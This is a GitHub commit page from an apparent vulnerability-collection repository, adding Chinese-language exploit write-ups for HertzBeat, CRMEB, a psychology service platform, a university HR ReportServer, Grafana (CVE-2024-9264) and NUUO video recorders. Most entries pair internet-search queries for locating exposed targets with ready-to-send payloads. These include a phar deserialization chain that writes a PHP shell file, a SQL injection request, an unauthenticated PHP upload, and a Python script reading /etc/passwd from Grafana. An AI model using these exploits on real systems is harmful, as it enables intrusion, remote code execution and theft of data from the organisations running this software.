Skip to content

Commit 17fce9e

Browse files
wy876wy876
committed
20241026更新漏洞
1 parent 7099c30 commit 17fce9e

File tree

28 files changed

+899
-3
lines changed

28 files changed

+899
-3
lines changed

‎Apache/Apache-HertzBeat-SnakeYaml反序列化漏洞(CVE-2024-42323).md

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Apache-HertzBeat-SnakeYaml反序列化漏洞(CVE-2024-42323)
2+
3+
Apache HertzBeat 是开源的实时监控工具。受影响版本中由于使用漏洞版本的 SnakeYAML v1.32解析用户可控的 yaml 文件，经过身份验证的攻击者可通过 /api/monitors/import、/api/alert/defines/import 接口新增监控类型时配置恶意的 yaml 脚本远程执行任意代码。
4+
5+
## 漏洞复现
6+
7+
访问http://localhost:4200/，admin/hertzbeat登录后台，选择任何监控点击导入监控
8+
9+
![image-20241009211426283.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250931543.png)
10+
11+
修改上传yaml文件中的value值：
12+
13+
![image-20241009211949488.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250931481.png)
14+
15+
成功执行代码
16+
17+
![image-20241009211904763.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250931374.png)
18+
19+
20+
21+
## 漏洞来源
22+
23+
- https://forum.butian.net/article/612

‎CRMEB/CRMEB电商系统PublicController.php反序列化漏洞(CVE-2024-6944).md

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
# CRMEB电商系统PublicController.php反序列化漏洞(CVE-2024-6944)
2+
3+
钟邦科技CRMEB 5.4.0版本中发现一个关键漏洞。受影响的是PublicController.php文件中的get_image_base64函数。参数文件的操作会导致反序列化。攻击可能远程发起。该漏洞已被公开披露并可能被利用。
4+
5+
## fofa
6+
7+
```javascript
8+
icon_hash="-847565074"
9+
```
10+
11+
## 漏洞复现
12+
13+
生成phar文件并gzip压缩
14+
15+
```php
16+
<?php
17+
18+
namespace GuzzleHttp\Cookie{
19+
20+
class SetCookie {
21+
22+
function __construct()
23+
{
24+
$this->data['Expires'] = '<?php phpinfo();?>';
25+
$this->data['Discard'] = 0;
26+
}
27+
}
28+
29+
class CookieJar{
30+
private $cookies = [];
31+
private $strictMode;
32+
function __construct() {
33+
$this->cookies[] = new SetCookie();
34+
}
35+
}
36+
37+
class FileCookieJar extends CookieJar {
38+
private $filename;
39+
private $storeSessionCookies;
40+
function __construct() {
41+
parent::__construct();
42+
$this->filename = "D:/phpstudy/WWW/crmeb/public/shell.php";
43+
$this->storeSessionCookies = true;
44+
}
45+
}
46+
}
47+
48+
namespace{
49+
$exp = new GuzzleHttp\Cookie\FileCookieJar();
50+
51+
$phar = new Phar('test.phar');
52+
$phar -> stopBuffering();
53+
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
54+
$phar -> addFromString('test.txt','test');
55+
$phar -> setMetadata($exp);
56+
$phar -> stopBuffering();
57+
rename('test.phar','test.jpg');
58+
}
59+
60+
?>
61+
```
62+
63+
gzip压缩文件
64+
65+
```php
66+
gzip test.jpg
67+
```
68+
69+
注册用户上传头像
70+
71+
![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250941110.png)
72+
73+
![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250941888.png)
74+
75+
触发phar反序列化
76+
77+
![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250942476.png)
78+
79+
成功写入
80+
81+
![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410250942596.png)
82+
83+
84+
85+
## 漏洞来源
86+
87+
- https://forum.butian.net/article/610

‎EDU/瑞格智慧心理服务平台NPreenSMSList.asmx存在sql注入漏洞.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# 瑞格智慧心理服务平台NPreenSMSList.asmx存在sql注入漏洞
2+
3+
瑞格智慧心理服务平台NPreenSMSList.asmx存在sql注入漏洞，允许攻击者通过恶意构造的SQL语句操控数据库，从而导致数据泄露、篡改或破坏，严重威胁系统安全。
4+
5+
## hunter
6+
7+
```javascript
8+
web.body="瑞格智慧心理服务平台"
9+
```
10+
11+
## poc
12+
13+
```javascript
14+
POST /NPreenManage/NPreenSMSList.asmx HTTP/1.1
15+
Host:
16+
Content-Type: text/xml; charset=utf-8
17+
Content-Length: length
18+
SOAPAction: "RuiGe.WebUi.NPreenSMS/Seach"
19+
20+
<?xml version="1.0" encoding="utf-8"?>
21+
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
22+
<soap:Body>
23+
<Seach xmlns="RuiGe.WebUi.NPreenSMS">
24+
<sqlwhere>and 1=convert(int,user_name())</sqlwhere>
25+
</Seach>
26+
</soap:Body>
27+
</soap:Envelope>
28+
```
29+
30+
![image-20241020214327143](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410202143216.png)

‎EDU/高校人力资源管理系统ReportServer存在敏感信息泄露漏洞.md

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# 高校人力资源管理系统ReportServer存在敏感信息泄露漏洞
2+
高校人力资源管理系统ReportServer存在敏感信息泄露漏洞
3+
4+
## fofa
5+
```javascript
6+
body="FM_SYS_ID" || body="product/recruit/website/RecruitIndex.jsp"
7+
```
8+
9+
![](https://cdn.nlark.com/yuque/0/2024/png/29512878/1729414884399-6be61b88-4e82-42e2-bfb0-451f6e130f92.png)
10+
11+
## poc
12+
```java
13+
GET /ReportServer?op=Fr_server&cmd=Sc_getconnectioninfo HTTP/1.1
14+
Host:
15+
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
16+
Accept-Encoding: gzip, deflate
17+
Accept: */*
18+
```
19+
20+
![](https://cdn.nlark.com/yuque/0/2024/png/29512878/1729415182606-37ca16b7-4b31-40ae-b37a-7350c1af4d59.png)
21+

‎Grafana/Grafana表达式远程代码执行(CVE-2024-9264).md

+157
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
# Grafana表达式远程代码执行(CVE-2024-9264)
2+
3+
Grafana 的 SQL 表达式实验功能允许评估包含用户输入的“duckdb”查询。这些查询在传递给“duckdb”之前没有得到充分的净化，从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 “duckdb”二进制文件必须存在于 Grafana 的 $PATH 中才能使此攻击起作用；默认情况下，此二进制文件未安装在 Grafana 发行版中。
4+
5+
## 影响版本
6+
7+
Grafana >= v11.0.0 (all v11.x.y are impacted)
8+
9+
## poc
10+
11+
```javascript
12+
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
13+
Host: 127.0.0.1:3000
14+
Content-Type: application/json
15+
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
16+
Content-Length: 368
17+
18+
{
19+
"from": "1696154400000",
20+
"to": "1696345200000",
21+
"queries": [
22+
{
23+
"datasource": {
24+
"name": "Expression",
25+
"type": "__expr__",
26+
"uid": "__expr__"
27+
},
28+
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
29+
"hide": false,
30+
"refId": "B",
31+
"type": "sql",
32+
"window": ""
33+
}
34+
]
35+
}
36+
37+
```
38+
39+
![image-20241022092542872](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410220925944.png)
40+
41+
## python
42+
43+
```python
44+
#!/usr/bin/env python3
45+
46+
"""
47+
Grafana File Read PoC (CVE-2024-9264)
48+
Author: z3k0sec // www.zekosec.com
49+
"""
50+
51+
52+
import requests
53+
import json
54+
import sys
55+
import argparse
56+
57+
class Console:
58+
def log(self, msg):
59+
print(msg, file=sys.stderr)
60+
61+
console = Console()
62+
63+
def msg_success(msg):
64+
console.log(f"[SUCCESS] {msg}")
65+
66+
def msg_failure(msg):
67+
console.log(f"[FAILURE] {msg}")
68+
69+
def failure(msg):
70+
msg_failure(msg)
71+
sys.exit(1)
72+
73+
def authenticate(s, url, u, p):
74+
res = s.post(f"{url}/login", json={"password": p, "user": u})
75+
if res.json().get("message") == "Logged in":
76+
msg_success(f"Logged in as {u}:{p}")
77+
else:
78+
failure(f"Failed to log in as {u}:{p}")
79+
80+
def run_query(s, url, query):
81+
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
82+
query_payload = {
83+
"from": "1696154400000",
84+
"to": "1696345200000",
85+
"queries": [
86+
{
87+
"datasource": {
88+
"name": "Expression",
89+
"type": "__expr__",
90+
"uid": "__expr__"
91+
},
92+
"expression": query,
93+
"hide": False,
94+
"refId": "B",
95+
"type": "sql",
96+
"window": ""
97+
}
98+
]
99+
}
100+
101+
res = s.post(query_url, json=query_payload)
102+
data = res.json()
103+
104+
# Handle unexpected response
105+
if "message" in data:
106+
msg_failure("Unexpected response:")
107+
msg_failure(json.dumps(data, indent=4))
108+
return None
109+
110+
# Extract results
111+
frames = data.get("results", {}).get("B", {}).get("frames", [])
112+
113+
if frames:
114+
values = [
115+
row
116+
for frame in frames
117+
for row in frame["data"]["values"]
118+
]
119+
120+
if values:
121+
msg_success("Successfully ran DuckDB query:")
122+
return values
123+
124+
failure("No valid results found.")
125+
126+
def decode_output(values):
127+
return [":".join(str(i) for i in row if i is not None) for row in values]
128+
129+
def main(url, user="admin", password="admin", file=None):
130+
s = requests.Session()
131+
authenticate(s, url, user, password)
132+
file = file or "/etc/passwd"
133+
escaped_filename = requests.utils.quote(file)
134+
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
135+
content = run_query(s, url, query)
136+
if content:
137+
msg_success(f"Retrieved file {file}:")
138+
for line in decode_output(content):
139+
print(line)
140+
141+
if __name__ == "__main__":
142+
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
143+
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
144+
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
145+
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
146+
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
147+
148+
149+
args = parser.parse_args()
150+
main(args.url, args.user, args.password, args.file)
151+
152+
```
153+
154+
## 漏洞来源
155+
156+
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
157+
- https://github.com/z3k0sec/File-Read-CVE-2024-9264

‎NUUO/NUUO网络视频录像机upload.php任意文件上传漏洞.md

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# NUUO网络视频录像机upload.php任意文件上传漏洞
2+
3+
NUUO网络视频录像机upload.php任意文件上传漏洞，未经身份验证攻击者可通过该漏洞上传恶意文件，造成服务器沦陷。
4+
5+
## fofa
6+
7+
```javascript
8+
body="www.nuuo.com/eHelpdesk.php"
9+
```
10+
11+
## poc
12+
13+
```javascript
14+
POST /upload.php HTTP/1.1
15+
Host:
16+
Cache-Control: max-age=0
17+
Accept-Language: zh-CN
18+
Upgrade-Insecure-Requests: 1
19+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
20+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
21+
Accept-Encoding: gzip, deflate, br
22+
Connection: keep-alive
23+
Content-Type: multipart/form-data; boundary=--------ok4o88lom
24+
accept: */*
25+
Content-Length: 155
26+
27+
----------ok4o88lom
28+
Content-Disposition: form-data; name="userfile"; filename="test.php"
29+
30+
<?php phpinfo();@unlink(__FILE__);?>
31+
----------ok4o88lom--
32+
```
33+
34+
![5c2e597f5b4233b5e694d71104f622e9](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410251439472.jpg)

0 commit comments

Comments
 (0)